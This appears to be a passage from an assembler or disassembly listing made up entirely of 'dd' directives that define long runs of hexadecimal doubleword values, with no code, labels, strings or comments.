dd 63D45D40h, 2DC02C99h, 742B56h, 0A781156Dh, 86D29E84h dd 0C2130C9Ah, 6C3196D3h, 18A451E6h, 6559C0CCh, 194C5B91h dd 0B8362938h, 0DB00392Ch, 0EAB84EC5h, 40C03CB3h, 8361678Ch dd 0B20128F1h, 5849855h, 0A84154CEh, 8304CAEh, 359C28B3h dd 0FAB626C8h, 39869B20h, 0A25C207Ah, 0F0148740h, 4F516C70h dd 2868901Ch, 29E44316h, 7988B75Ch, 0F51849h, 0E98BF0DDh dd 0B7925420h, 0EF0B341Dh, 0E851930Dh, 8CB9AC30h, 0D49A6B62h dd 44986C83h, 2BEA114Ah, 0A22558h, 70C083D7h, 1B62E40Eh dd 49076B34h, 0FBDDC3D8h, 8367ACA0h, 9B7BE12h, 6423108Bh dd 4AE5E0Bh, 289871FCh, 0C821C0F5h, 5929AE56h, 0ED3903Fh dd 80E6BD51h, 0CF6A5A5Ch, 0CBBE1884h, 0A2D56822h, 331B0211h dd 5F016323h, 798567AEh, 53C7000Eh, 0A4E6B9AEh, 31DC311Fh dd 1EBD5D0h, 299CFA17h, 293F80B4h, 1674F4F0h, 754F3Ch dd 82C89F27h, 0F27AE550h, 86470CFAh, 13982087h, 8C24C0FDh dd 94238B00h, 0AD63E8F3h, 0CEC0A855h, 843A0082h, 0E9139D5Bh dd 6A002BECh, 0B80337FBh, 0E8705EBEh, 60C0941Bh, 0C6B40C83h dd 61C89842h, 0C9AE59C3h, 192985h, 0AE55C968h, 117D5817h dd 4C1D005h, 0F6239C2Eh, 912D8100h, 1986A931h, 0F8260796h dd 902935h, 0DF578327h, 7E1664D3h, 5DFB07B7h, 128684BFh dd 4C47199Bh, 3D60A8C4h, 942E3364h, 4815A834h, 0EB7D82BCh dd 808051EAh, 0B267D7B5h, 4586215Fh, 0D85DEC0Dh, 46F2FF00h dd 0C2933DEBh, 3BAA12BCh, 80AF07FAh, 0DFE16067h, 3802C30Bh dd 0CFD48479h, 4D0E09Eh, 2EF52421h, 0A24674DCh, 0C1B2A500h dd 0ADB34780h, 0C48CBD26h, 0DBCE83C0h, 0DEB8960Ch, 0A4FDFA21h dd 76BC2608h, 0B3004946h, 7E3590F5h, 2D06FCE5h, 5FE4A87h dd 0C3AF2461h, 52CD0093h, 83A0B037h, 0FB41F862h, 0D7148BABh dd 895AA704h, 0E90CDFDCh, 31FA869Fh, 801E7B35h, 0AE1EAB5Ah dd 5B807CC2h, 0CE84E9BAh, 40204B03h, 97B3A02Ch, 3F4EA67Eh dd 26A39C00h, 5820E59Fh, 3728502Bh, 2A7A17FCh, 5D141DA2h dd 56E45D4h, 10A43B33h, 59C0FC52h, 1EB74502h, 3CD6F200h dd 0E4C925D9h, 186917EDh, 716C6EB8h, 2E1D3707h, 0EC06D14Ch dd 7AB70B90h, 60146DF6h, 0E8D07158h, 0FD43FAh, 3ABBA0B9h dd 2575CDC8h, 8410533Dh, 8725D8D9h, 0BF781030h, 0B0283C67h dd 0FC134B80h, 799FB75Ah, 0EBA06406h, 0D5C1D24Ch, 502EA8A8h dd 8600DE7Ch, 30CD2F45h, 0CBFC557h, 6F225A9Ch, 0CC2750F8h dd 8058A916h, 0B517C53Ch, 5CCE0761h, 0A1C97775h, 0C11BC659h dd 0D6602C09h, 49FA000Ch, 0C3D4CFCh, 0B6008D23h, 0C7B264D7h dd 48808520h, 0E556D85Eh, 0B8952CAAh, 0FA16D1h, 0AC9813F4h dd 0BB039F42h, 0E68A9D99h, 0E868130Dh, 0DA802034h, 0B701294Dh dd 0B5034CBBh, 0F460EA2Ch, 0C00D0B7Ch, 34249ED3h, 0D928C17Ah dd 0E8822AAh, 1C24C0Eh, 64CF9D7Ch, 51A1A063h, 3A0CFCh dd 5E87D0Bh, 7C2E79DAh, 0A9C00414h, 1572384h, 0B6CAD810h dd 880A1897h, 0D774B85Ah, 0C2587F02h, 0E9F5A28Bh, 0A9E1B4B0h dd 0AA2B833h, 0A24C530h, 0E67BC22Fh, 36358184h, 70ECD667h dd 5CBAEFEAh, 39CE31F6h, 1AAAC003h, 0A5FC34h, 2AD499D5h dd 0A2298759h, 7C48F949h, 5B880300h, 9C9BB00Ah, 71E6165Ch dd 0C7E88C26h, 0A8FA640Fh, 809141DCh, 0C039AD0Eh, 8FE2750Bh dd 9D4DB300h, 77021ABFh, 0C2266F14h, 0B452A0h, 1DC1AB67h dd 84686CC0h, 0B6CCF41Ah, 0E80FE9h, 62317965h, 5008488Bh dd 7E2042C1h, 8906C9Fh, 404788Ah, 0B3566E23h, 0E8680260h dd 3160C273h, 0BF5B1016h, 57F53AE4h, 8A5AB606h, 5F00601Fh dd 0A4409EB3h, 3DE084Dh, 69CD68E3h, 3AE050E7h, 5A28D3C2h dd 312EB8ECh, 2363E486h, 48192682h, 0F921748Ch, 8A5880FDh dd 83194E85h, 0D82F055Ah, 0F80FA223h, 0D1801AD6h, 18F559E0h dd 523700DBh, 67029D7Dh, 0CC13D8C4h, 5435D04Ch, 444AF5F8h dd 9067614h, 3CF46917h, 7F6FF0h, 0CA447C05h, 8A095A8Ch dd 0D2539701h, 28A3E7A0h, 0B4E00A2Ah, 0A4465670h, 89A1E602h dd 58C84EA6h, 0AE982842h, 11BC8C12h, 97C76600h, 0B785823h dd 36B7C19Ah, 0F595541Dh, 28BCC0C8h, 13D85442h, 0C02A7BBFh dd 6E7D78B8h, 6A2BD701h, 871C3CDh, 79018440h, 241C48F2h dd 0D417232Fh, 0BD8D1511h, 0C2960042h, 0FC4921ABh, 1B201034h dd 0D2B19480h, 0FD4E8E89h, 1623DC3Ah, 2A35B0Bh, 6040CEE4h dd 0CB5E98h, 384F9E7Ch, 1D8F16ECh, 1B6FD809h, 0ABB848A2h dd 0D5D70069h, 0D6F1ADDCh, 6E5430BCh, 8F0F5E4Ch, 93CF97F0h dd 0CB553C02h, 8518684Ah, 0C53FE886h, 0A7D92A18h, 0B1045644h dd 63315C9Bh, 7C04C032h, 0C08198D1h, 0EB5E1780h, 0E845CA5Eh dd 14126D31h, 247A380Fh, 0E167BF39h, 249FFF66h, 68009B64h dd 0E53140A7h, 0FEA3FAh, 0DE3413D2h, 359CB285h, 34375C4Ah dd 2EDF96B1h, 5471FB02h, 979A2801h, 0AC67EC58h, 4EA8382Ch dd 0D8748031h, 8CB7B266h, 5CF52745h, 0E9CA20h, 0BCB21222h dd 5236BF25h, 72FB0A0h, 172D0896h, 80A61174h, 0A3493F8Ch dd 40355A0Ch, 86341244h, 0D7F64495h, 76B4D600h, 1E2456CFh dd 0EFE606E4h, 49A3979Eh, 390F3530h, 309F755h, 0A0B6E45Dh dd 0D5985F1Ch, 1512927Eh, 62D6DFh, 79FC5144h, 0BAB18A5h dd 0C32F55F1h, 43099884h, 0C8E0161Eh, 2AEC00Bh, 0FA555B85h dd 2F200A98h, 2E8A06FCh, 41D451BBh, 0D036D8C5h, 0EB139CECh dd 0F0D73DC0h, 4B081009h, 8A5B0075h, 0DDB6A1C6h, 1501F482h dd 94307278h, 618004FDh, 0B7C4E716h, 0D275F06Fh, 65526901h dd 508E8AB2h, 1C99F0ADh dd 0F200227Eh, 1923302Bh, 0EB0042E4h, 656C080Eh, 7286228Fh dd 3A414EB1h, 492308h, 7F2EB69Dh, 0CA1C7DCDh, 243D5FF6h dd 0FE0C5416h, 0C2E102h, 7A2C29BFh, 0D34D10D7h, 9E2A3602h dd 0DAF17E8Ah, 2784624h, 0C1B5E866h, 10123110h, 0E4BD3Dh dd 665AA5B9h, 0CED6306Dh, 4822454Eh, 79C8F9BFh, 0CB4180Dh dd 240B6404h, 0D6127828h, 78B08ECAh, 5CB30E9Fh, 30E0E997h dd 0D24C5EB8h, 68412563h, 3BECF90Dh, 12B24AD8h, 0B223F5D3h dd 3015E260h, 0F4004636h, 0C764ED72h, 98655E32h, 66A26BCh dd 9E83048Ch, 17CD4E4Bh, 0F1B37430h, 89A92F40h, 0BE853018h dd 0E024EB4Bh, 0B4BCD4A8h, 0D900FB43h, 2EDCF95Fh, 650BD78Ah dd 40AAD11Ah, 95BE53F4h, 205F300Eh, 4A616820h, 0D748813Bh dd 0C0D43CF1h, 2E7AA063h, 90F8h, 987E8365h, 0E19CB3FBh dd 4B409B00h, 90DE303Eh, 900654A6h, 67F40994h, 0A4B046FDh dd 1E24BF28h, 4D5268CCh, 0B9C86368h, 1F170602h, 6842C28Ah dd 564B86D4h, 2B4EA03Bh, 0FBB310FCh, 708C4EC0h, 0FF05E03Ah dd 6B37E2EBh, 60E540F4h, 9F5A954h, 34028805h, 70988212h dd 1464FEh, 0C754E91Ah, 180311F3h, 0C531024h, 32E22E05h dd 3DF0C4A6h, 87582A15h, 46C32557h, 5E709EA4h, 3000F642h dd 0E5B424EDh, 0A70F3C9Bh, 80910E71h, 0AD120CE1h, 54982CB5h dd 0C8EA00C4h, 0DA8FBF24h, 66C44503h, 0E03EF3D9h, 0F87606CFh dd 0B21400A7h, 0E046A131h, 0D005AFBh, 7063A9D8h, 3A8ED38h dd 873064A7h, 8301C8Fh, 0C4CF211Bh, 3C5AEAEDh, 103E9288h dd 803AD61Ch, 0C7C34A60h, 18CFAC82h, 20A96FBFh, 0BB71B5Ch dd 16B3A87h, 0CBFC3380h, 0A90D081Ch, 0D292110Ch, 15C8ACh dd 712A4D0Eh, 0F0614375h, 39F863F4h, 8127F430h, 6F5291A5h dd 2A00308Dh, 9A897548h, 129CC400h, 8FC270AEh, 0B40C24Eh dd 1C016420h, 0F8E00510h, 0FCC6005Ah, 0A624C1B0h, 5460D8AAh dd 62F05110h, 2E31007Bh, 0B144F9BCh, 2B0553E1h, 1F495FD7h dd 0DD9A800h, 0C78774C5h, 0F383A9F8h, 82D8A6B2h, 0FA1D90FCh dd 6B18FBE9h, 7FBA21h, 0F6A41EB3h, 55FFCA67h, 0B1ACFE05h dd 9440F3C8h, 9643A6F8h, 199F759Dh, 84F752Ch, 362180F1h dd 0C9B53FFEh, 38264C13h, 4C1F9040h, 84400579h, 0D9F51EB7h dd 0C13FFE92h, 0CCC912Ah, 86692634h, 88508030h, 0AB3D9F0Ch dd 34038029h, 8F240A0h, 0FBBD0055h, 132E2FC1h, 0A80C8C87h dd 0F82344EAh, 0F4A714D3h, 2F238030h, 5B33109h, 80629240h dd 0D9B42086h, 0E000C7B2h, 2C0653CDh, 635961h, 9FB58F5Ah dd 0A9F9DAE6h, 2730E51Ah, 0A24884A8h, 0BBED3960h, 114CA723h dd 31EA0017h, 402522EDh, 0D7BB503Bh, 0A8DB057Ah, 198BA79h dd 58FE1390h, 376083C4h, 31CE129Fh, 0AAA98CD9h, 2422CDA5h dd 0F83309A8h, 0D6294A57h, 0A6D50928h, 188616B0h, 0A70948EEh dd 2F86A299h, 0B1FC8E5Ch, 18F77916h, 0FC07874h, 30EAA909h dd 164C016Fh, 58C4027Dh, 808D182Bh, 1E9E8062h, 423C70Ch dd 778917Ah, 41AD4C50h, 0F0168718h, 5AFD1B8Ch, 956321C0h dd 0C16AD075h, 0FC321211h, 0FBEAD03Ch, 78A7E000h, 0BE96A258h dd 0FF8C2AD6h, 0B05C04CCh, 98A5ACFAh, 40160A40h, 7B149D32h dd 80F0C840h, 0C043A222h, 0B0B82B71h, 0EE15C606h, 5F01B48h dd 55029B31h, 1294012Ch, 30AC4DF5h, 9649C044h, 0D4010038h dd 2C2DC1A6h, 0EED906E4h, 611DC784h, 0C283581Ch, 0A737CFC0h dd 9093B69h, 0FDDFE3DAh, 0ED2E0430h, 34A7AE11h, 30D68Eh dd 0F2EDC2CDh, 57965B6h, 732F45AEh, 72904192h, 0D0280783h dd 6E3233E3h, 8ACDB20Dh, 4B00D3C4h, 0B8F7E7Ah, 313A01FDh dd 0CE611EEBh, 35F04075h, 7D024F4Ch, 0E8298AAEh, 0DC56C0D4h dd 37C50153h, 0EEDD02A9h, 45F0407Ah, 0BB8001ECh, 40076079h dd 0ADA71E9Dh, 0E50E1812h, 0A6C12044h, 1EFA0C8h, 3441FFF9h dd 5DFE772h, 47018800h, 0F80B5538h, 0D0D740C4h, 819DFA00h dd 8BF39C05h, 267C71ACh, 742C4F24h, 2200EF46h, 147457ABh dd 91C0957Eh, 2D0BF69Ah, 489800E2h, 4EDFDB4Ch, 0D74CEB9Bh dd 8C6EBC80h, 0C2CA9504h, 7892E09Ah, 0BC4474h, 0E10F15D9h dd 520D503Ah, 0F6DAAC01h, 73575118h, 0C46460h, 0BB638FBEh dd 1D262D1Ch, 10A0EC50h, 0D2E3640Ch, 3021987Dh, 0A7D8DC79h dd 934D5A61h, 56FD008Ch, 1175763Eh, 0AAA80344h, 6EE2998Dh dd 0D7AC2005h, 61C4681Ah, 46D12038h, 2350487Eh, 0ED34019Fh dd 1804A7BCh, 0EBD8A973h, 6CDC60h, 0DF025D38h, 709B58D8h dd 39D7CE09h, 38E810FEh, 7E162227h, 4037C300h, 0A0A6DA0Bh dd 19786076h, 0A1CE4174h, 3700BAE2h, 34F6DE16h, 2A393A15h dd 90E0907Bh, 5DF51608h, 0E6018E2h, 0C159D662h, 312360h dd 120AB333h, 8085FBE2h, 2BB2DBBEh, 0BC022472h, 0E97CF8ABh dd 0A8F04032h, 52D400FDh, 80C2FFE5h, 5105EA42h, 62F56FBBh dd 20AD3882h, 384DAB49h, 1964134Ch, 87092BF3h, 3690824h dd 80354DD2h, 0F2004A81h, 0C34CB2CEh, 0FBA90D4h, 710FD261h dd 28CC687Fh, 46C462F6h, 0ED2D09FEh, 0C46188A7h, 1211AC6h dd 0ACEDC5CEh, 0F8F2BE9Dh, 48D3BB42h, 0D510383Ah, 7F3EC3D6h dd 0E98BC8C6h, 164A048Eh, 8506FDADh, 0D3C408FCh, 0D843A4C0h dd 0F04F589Ch, 3FFC18E0h, 2D01A80Eh, 0A80B5323h, 0D364A3F9h dd 0C1A9C34Ah, 0B08A1429h, 60AC87DBh, 13394DC6h, 9189DF21h dd 0A55007E5h, 3DD0454Dh, 3960FBAh, 0B7BD271Dh, 928CBEEDh dd 8C5FE08h, 7160ECE4h, 8C0746F3h, 5819A92Ah, 0A816A83Dh dd 887D21A8h, 2B4DA880h, 868CAF13h, 6EE144h, 0B1CC4DB7h dd 134065D4h, 1CE51613h, 90729444h, 553AF720h, 6C2118B8h dd 56602EF6h, 7A001746h, 0A6B9A39Fh, 0CA169DAFh, 600117FDh dd 5FF0F516h, 8CAEE448h, 33404705h, 8C38179Dh, 439F0121h dd 0BA69D9BFh, 97C2E429h, 0A4003972h, 0A9EC1663h, 0A5DFE437h dd 18D64758h, 0C07E1A60h, 0BCC601A4h, 892613D8h, 8E9050BDh dd 0AB0563C3h, 2B5B88D5h, 0F223E83Ah, 7694B100h, 287DF6FFh dd 5CB87408h, 0C6804871h, 91D898Fh, 0F0876CB8h, 6C60E644h dd 0E0000B1Ah, 7E0EA407h, 6E262B37h, 701FC9BDh, 0FA61C190h dd 0F3387964h, 88C8788Bh, 900B35C3h, 1E4EEBFDh, 86D41302h dd 68FFBD0Eh, 2679A509h, 0D924919Bh, 8BC3048h, 0CF13374Dh dd 5249E3C4h, 548F6482h, 576DC07Dh, 594412F9h, 0BFBCC44Bh dd 0ABF467C1h, 0E1275096h, 0FE3CDCB4h, 30F50B2Ch, 951818ACh dd 1CF9F280h, 413CD57h, 80041F55h, 73AD83Ch, 4C208B59h dd 431AE838h, 0B31828D8h, 39F17630h, 143A4FD5h, 34AD3B25h dd 82109164h, 0A530B018h, 9D951243h, 33743847h, 0FE3FFD00h dd 153BDF57h, 0EFB102E8h, 0A973D8A2h, 1451ECCAh, 9C186879h dd 576F0F00h, 1DAE3D0Ah, 204CA5Dh, 829184DCh, 0F4D101A7h dd 0E6EF97EAh, 4634C41h, 28C18E8h, 0DD5EB4C2h, 0C464396h dd 5321575h, 7D8F78F2h, 0D811A160h, 7851E900h, 41D4A03Eh dd 0D174B1ABh, 13E818E1h, 4451C80h, 1D8BBDF4h, 39DC01FEh dd 0ACDFD107h, 80FCD191h, 0A7C1ED2Fh, 0C64CB11Ch, 150020D0h dd 9D2DAA11h, 3C087894h, 90F67B9Fh, 6B689450h, 952D1002h dd 0D4FBE4C8h, 0BCE5A601h, 3AAD7CFFh, 0F37D1884h, 5A50A47Fh dd 3200E8ECh, 0A3D4750Eh, 7863AC9h, 72CF5193h, 0C6580CAh dd 2D1354F8h, 44C053E5h dd 83C274BCh, 0D8239198h, 697940B9h, 0A4016F18h, 0C0495EBh dd 64398E56h, 0DC34F32Ch, 5A4C7504h, 6104682Ah, 0D064B4FFh dd 320DD714h, 0B3C29D50h, 31BA1209h, 0DAB51064h, 3E9E00B2h dd 0F7FEB187h, 31ED457Ch, 0E2420C4h, 6800194Fh, 0D590884Fh dd 35D63F3Ah, 3C5804D8h, 0D84318B8h, 273FA1Fh, 0DEC77FAAh dd 0FB9AC848h, 0B37EA978h, 2FD7F700h, 3732BCA2h, 8D8B24FCh dd 154240ECh, 9D0A3D73h, 0CC86BD62h, 517B5C02h, 42F88736h dd 0EFC1852Eh, 0ED74B081h, 0CEDC838h, 3C051354h, 0A0AECF8Bh dd 87DA08D1h, 4D04BD0Ch, 89D7133Ah, 4F20DF32h, 4FB4DA4h dd 294511E4h, 9D2880E6h, 87402212h, 41E00155h, 0BC8031E9h dd 0A238331Bh, 0D33B3065h, 0B143D02h, 6AE68D8Ch, 44A067DCh dd 0CB9960EBh, 64F604FCh, 8CF70FFDh, 1E8CC678h, 0D2A5B396h dd 0C12838DAh, 0E8B37E00h, 3C928463h, 807CB4F8h, 0F5D0CF8Fh dd 6302AE3h, 4AA43174h, 0F8890075h, 40153756h, 164A99A5h dd 71EB9402h, 1168972Ch, 59EB80EEh, 125DC67Fh, 13D46C28h dd 6758005Ch, 5B018970h, 14D493Bh, 9324BAFCh, 4182E244h dd 2AF50725h, 33AB3461h, 0D81AA164h, 7024030Ch, 0C30294F4h dd 477A325Fh, 60E4C4F8h, 0A6CC965h, 0FF391795h, 49771344h dd 9CC510B4h, 0C064EBE4h, 0A5B82F11h, 0A750E878h, 2D8892BCh dd 270E003Ah, 0ACB561E9h, 4E5DF53Ch, 1CC71970h, 0E5FCD349h dd 0FA243865h, 0B8424984h, 880CCE29h, 2088C719h, 4F453AC8h dd 0BDFD24B2h, 0F29A271h, 0FE688EBDh, 6F01440h, 3C00B36Ah dd 5C0A5915h, 9857AD9Bh, 0C32165Ch, 0F20800D5h, 0B334107h dd 0C695BC04h, 0A0C09809h, 5596321h, 0FCA63EBBh, 0D9DCC9DFh dd 0AC7E0862h, 4DA904D4h, 0A2B7132Eh, 0B06BC010h, 70FD4Dh dd 0F9D57445h, 5E992564h, 73A87B50h, 5A2C9E5Dh, 6423C02Fh dd 0B6569800h, 704391Eh, 0FEEB9B5Fh, 0D009494Eh, 6B91F817h dd 0ABC70E9Ch, 7D121881h, 9FA03431h, 78B2C2EEh, 0E2F99C09h dd 11009DA5h, 7F539C6Bh, 11E3F200h, 0D393F5ADh, 8BC08460h dd 0C064C874h, 0A33CD54Fh, 1542E00h, 51CCBB4Ah, 54002F4h dd 0C4EA74BFh, 532088D8h, 0AB8C1229h, 61C5385h, 201E44E4h dd 18B15C7Ch, 5DFE9700h, 38A926F3h, 5CC2BD05h, 8C18AC58h dd 0F79BB500h, 71A77A5Fh, 0FC8C511Eh, 3B004436h, 0D7E20370h dd 649E3E0Bh, 65465Eh, 99E50250h, 3D51183h, 77FDB715h dd 0C78875A0h, 637DC661h, 0A4ACFB13h, 40090860h, 0E79D2331h dd 1F01F211h, 467B43A1h, 0CBA4705Fh, 873A1503h, 27649294h dd 0ECAA75C8h, 9D8E0094h, 0A4D290D4h, 78452B35h, 0F02CE4B1h dd 38CE2BCh, 0C191418Fh, 390FAB9Dh, 1F38F7F9h, 5F17A75Fh dd 542C9821h, 0C6E1A4E5h, 40BFD442h, 14B7D150h, 84B650F5h dd 9C38424Eh, 8605E05h, 744FEB73h, 7E00B86Eh, 0E15676Ah dd 44BE29F9h, 2D003891h, 0F5666D6Fh, 0FF02D7C6h, 7D1E60BBh dd 3DCDA74h, 9161F884h, 53FAF9F5h, 0AE3B082h, 30DC2840h dd 87C05B25h, 34A0E294h, 0D13D71h, 0B1A69B1Bh, 1D86E341h dd 0A71736EAh, 8C26699h, 0D97C790Ah, 0BB818EFh, 0C14411AAh dd 26A01108h, 84467420h, 90888117h, 6C86FC90h, 57710600h dd 920F0BBEh, 0DC5E53C1h, 30D43C00h, 0D7317558h, 2D355F3Dh dd 11E81DBFh, 39A68068h, 1467F6E5h, 0B82BB589h, 9321D2C0h dd 1A108C95h, 0E513737Fh, 9B8CCC0Ah, 18B50226h, 1DFD5C81h dd 7C358A0Fh, 11447BE2h, 43A380AAh, 0B4F79CD7h, 0FB355884h dd 3CC93F06h, 917076h, 67DC095Ch, 2CF76E8Dh, 26B60E00h dd 694432E0h, 95F5043Eh, 0F28C537Dh, 3FD5C758h, 0FA74E152h dd 528A0094h, 7DB74140h, 67030ABAh, 6D6ED97h, 938798A4h dd 26309079h, 457454FAh, 27C441E8h, 62111C12h, 3D682344h dd 0D2A3B29Eh, 7D64CBEAh, 78B38001h, 0BBC4346Bh, 989D3030h dd 9C7350DBh, 0A0435C8Ch, 3102049Fh, 0F4F80011h, 0B6543295h dd 0EB46742Ch, 1BDF17h, 5C7402Bh, 970047E7h, 0BD51B846h dd 9D6DBCBh, 0F7A705Fh, 6B64DCC7h, 3BDC4660h, 0FF974E03h dd 38F6554h, 93251BB0h, 0DE9598ABh, 955C0B4h, 6DC6EFh dd 4AB790AEh, 1D59FD9Ah, 0C2B8915Ch, 78B51A26h, 74277208h dd 60D4AFA3h, 0FCA43A41h, 53A5658h, 1C1D0726h, 4A72C805h dd 7CD9ACD1h, 83F6432h, 3C65CE00h, 9A3DF409h, 0DB95F600h dd 0ECAD340Ah, 64574FEBh, 23E42EB8h, 160700EEh, 7C8B72FFh dd 0D9A4E202h, 78D0EA9Ah, 32BD1220h, 0EF7C907Dh, 48B8F6F7h dd 7E4F770Ch, 9A9A98Fh, 967D54F8h, 676DF868h, 0FDBA4704h dd 0C0AD01F0h, 100F2AE8h, 64D91B82h, 50B4BA26h, 7D7B1898h dd 30757038h, 18125C34h, 86E08CA6h, 0BE0330AFh, 5516FEF2h dd 1D199915h, 21C8B893h, 203805B0h, 0D8308846h, 8D9518F5h dd 7A0D003Ah, 9B7519C0h, 0CC0E4ED2h, 0C12FAA5Dh, 73C17DEDh dd 3428C061h, 18CE2ECh, 0A924BFA2h, 7267FA91h, 3CD24A60h dd 0F86640h, 2D2B8350h, 24C1DA11h, 7E7BA305h, 0E40109C3h dd 40501530h, 0F0BC4078h, 7C6D788Ch, 0DC455C5Bh, 1A2C5C10h dd 0D148C372h, 0D774D028h, 0CF860186h, 1A4960D3h, 6052F5ADh dd 0A24C580h, 4674680Eh, 261E07EDh, 3871A5E3h, 0DFD9CA72h dd 0F9B03C26h, 0A5099FDFh, 5A7E12CFh, 0C810E30h, 9DA19037h dd 0D86D9ABBh, 960035A7h, 537104EEh, 239C140h, 99A6D170h dd 0D88F6F3Eh, 8E560525h, 0C0EE885Ch, 5B9E0E9Ah, 0AD167EF2h dd 548832B1h, 85261614h, 0B364C113h, 0B8902CF5h, 57008C87h dd 0E926249Ch, 0BF7FD3h, 52D51895h, 0C841CDDFh, 97F6E02Dh dd 80E41148h, 3DCB281Ch, 43F20958h, 8045FAAEh, 0C660F1C4h dd 16181301h, 99E9BEADh, 0EE49476h, 268C2B35h, 511C9B31h dd 4B806D6Ah, 209492E0h, 81BC006Bh, 427DF3A1h, 0AB047CE9h dd 35261803h, 9211F091h, 50A199F5h, 18E67174h, 8AB2029Ah dd 833B0FCDh, 2005B0E2h, 9BE8C216h, 5C0DA052h, 79F0E105h dd 0D069FA20h, 88BCDC79h, 431D008Ch, 774C59E3h, 3901615Dh dd 0D0AF1CF2h, 0AC2879DCh, 1F8C1BBCh, 45C1DB0Ah, 0D0D143B2h dd 981BD410h, 0AE695319h, 6C680C10h, 4242F03Ch, 3084E2ECh dd 8C90CD8Fh, 84E8BCB4h, 4DF465Ch, 4EFF6D7Ch, 3B838ADh dd 0F1B1600h, 0ED39E35h, 2080B0D4h, 6C986F04h, 0B5803174h dd 6E7E5A73h, 0DACB003Ch, 3AF9F256h, 16F8F2A7h, 464E157Ch dd 5860C198h, 3A02A146h, 54A7C2EDh, 0E960CCF1h, 50ED2Eh dd 0B9C9445Eh, 9F852264h, 15425800h, 0FF1AD849h, 981B4080h dd 142E27F8h, 0F0AEC885h, 82465Eh, 0B6E85BB4h, 11A70B9Fh dd 7B03E5h, 96D290D5h, 2B58DC7h, 22761CABh, 54D286A4h dd 2EA73844h, 0A6B07E91h, 9D5802B8h, 245E5DCAh, 7D349127h dd 0DEF80F15h, 787C29B6h, 30CEBDCCh, 991B0D7Bh, 0C8508342h dd 4E791FAFh, 359404AAh, 849C8E40h, 8430D773h, 9418A23Dh dd 810E0D25h, 8019258Eh, 0F53A1C83h, 20ADD1D6h, 0AFA480E0h dd 910E1218h, 61D0B0E1h, 3A20A295h, 5AE444FAh, 71CC40C7h dd 0E7898E40h, 7768FD00h, 0AA02C9DBh, 90732E67h, 0B444ADCh dd 44453E6h, 950FC346h, 3269A8B3h, 0C060C4F1h, 7BB37Dh dd 69D6220Bh, 7F12483Eh, 7547FE00h, 9E6DEF9Ch, 955F0D0h dd 89F5B7BDh, 0AD34AC03h, 0E304388Fh, 0BC9070D3h, 81BF1AF4h dd 0BCEC284Dh, 37008CEEh dd 0CEDF9B3Eh, 19FFC798h, 684D8554h, 0E2486875h, 8C1D2B21h dd 0B280EE11h, 0F757E456h, 5BF3FC16h, 48236489h, 173084A2h dd 607CB4D1h, 639B8EC1h, 0D4A2F9E4h, 4674205Ch, 0F5501EFh dd 20408F6Ch, 4AB89C7Dh, 551A2970h, 56E03735h, 0F4C80C28h dd 99258D68h, 0C340C3FAh, 0ABADD18Ch, 0F9E21063h, 0B86730h dd 4A086261h, 96788A0Ah, 0D0E5AC0Ah, 382E8C28h, 7B3201DCh dd 36E0A851h, 70F9C549h, 7F404AD4h, 0C3230C95h, 71F9E773h dd 487424E3h, 0D9599900h, 2CD6313Dh, 657954h, 913A25Fh dd 9B32DCD4h, 40C10225h, 28451680h, 12D8F7CEh, 0C104FF1Dh dd 2E2D0BF4h, 44F82C24h, 0D84318ACh, 34CB830Dh, 128C200Eh dd 12EA7740h, 55E3A60h, 9BFAAF40h, 3F1480C8h, 21B542Bh dd 61262D30h, 7C7271C9h, 0B684047Ah, 6E46566Ch, 107D4871h dd 392F4B7h, 0DB0DB7D1h, 877006F4h, 28948A6Ch, 0AC0B80FAh dd 6DBDDE54h, 901C014h, 11E8C464h, 0E979DB07h, 4D304219h dd 0F6E9EE8h, 1CFAFC86h, 17E8C814h, 5FE4008Ch, 6CD99FA5h dd 8CA4B827h, 0D0518C01h, 4201342Bh, 28FC030h, 59939035h dd 10FB5EB2h, 7878D70h, 0D5352FC3h, 0E401C9A6h, 0AC83C7h dd 3396B42h, 22FFA2A0h, 9DE00352h, 0F766AE2h, 3D010A77h dd 1E614517h, 3A3AC97Ah, 8823B8h, 948653C2h, 0C700667Ah dd 0D2FCCAC5h, 28BC3731h, 4B040AAh, 5FD6E81Fh, 80B8D551h dd 98EEC210h, 0F8CFA52Bh, 0F437800Ah, 0B1B8C625h, 0D8197084h dd 38D17286h, 1EF90149h, 0D43113B1h, 2C43F09Fh, 79301AE2h dd 20155B52h, 0EBB56264h, 0BB378800h, 52D4F2C4h, 0BC2901D7h dd 73C9825h, 5C452AE4h, 0AC41AB9Ah, 6A140DB8h, 0CAA7F09Ch dd 1EC0A136h, 3E101204h, 1F8223ACh, 0BD51C0D1h, 711F9C39h dd 13643E5Dh, 306F61A9h, 79CAAD00h, 5EC1559Fh, 0EF81F09Eh dd 0BA93171Ch, 0BFF8DC4Dh, 0EC570043h, 38043963h, 0CF09AE9Fh dd 324F3DBBh, 704C7BB8h, 0F713656Fh, 0B009D5F8h, 0A3B50122h dd 0A42069C6h, 57BB108Fh, 8C65E87Ah, 0DB6CD302h, 45501541h dd 5415ADCCh, 9B808291h, 98E41E0h, 0A487D30Bh, 12045836h dd 0A2DD2633h, 0E8BC4C60h, 0E30A8CE0h, 0D426720Ch, 0A7C78D80h dd 3FAFDFE5h, 7A070FBBh, 1C250E16h, 0A90B2F68h, 0C210CA12h dd 0D68C5EE4h, 0ED5E9F00h, 4726C4A5h, 616C9070h, 9B4A810Fh dd 6AF4219Eh, 91C2C31h, 0B0A24F70h, 7DD6254Ch, 5860D827h dd 11E01749h, 48B48118h, 0A5702ECDh, 4564E91h, 0BDFE39FCh dd 991F0D60h, 2C2619E2h, 2D483B24h, 0FA45020h, 8A639A79h dd 0B88C0928h, 65C0D1CBh, 8210492Ch, 6476DDE0h, 650780Bh dd 3C41BC7Ch, 3BF7611Dh, 0C5984387h, 61348CDh, 0C7C4229Dh dd 0C0604A28h, 5FDFD4h, 25AC16Fh, 0C9A0F6DCh, 0CC908C5Bh dd 9E7CEE14h, 0D61109DCh, 0E17918F9h, 0CB000A18h, 2B429A7Ch dd 18FB4A6Ch, 59192615h, 88009C8Fh, 58F5480Dh, 0EAFD76h dd 0EDE7EE9Eh, 0C6E45E80h, 8EE99C00h, 39D6668Ch, 244A004Eh dd 0AD646B06h, 0CF0005DFh, 0AA10D4Dh, 72DE75Dh, 2C35535Fh dd 1C8EC095h, 41D6E49Bh, 2BB8A800h, 33D76A73h, 0D9096B5Fh dd 0B8F42170h, 9633DE00h, 0DF12DC3h, 0C06300EDh, 0C63A1A8Eh dd 0A4006AF0h, 0AD499EE7h, 18EC04FAh, 40ABC82Dh, 32002EC0h dd 28262122h, 660DE3FFh, 21780838h, 22037D90h, 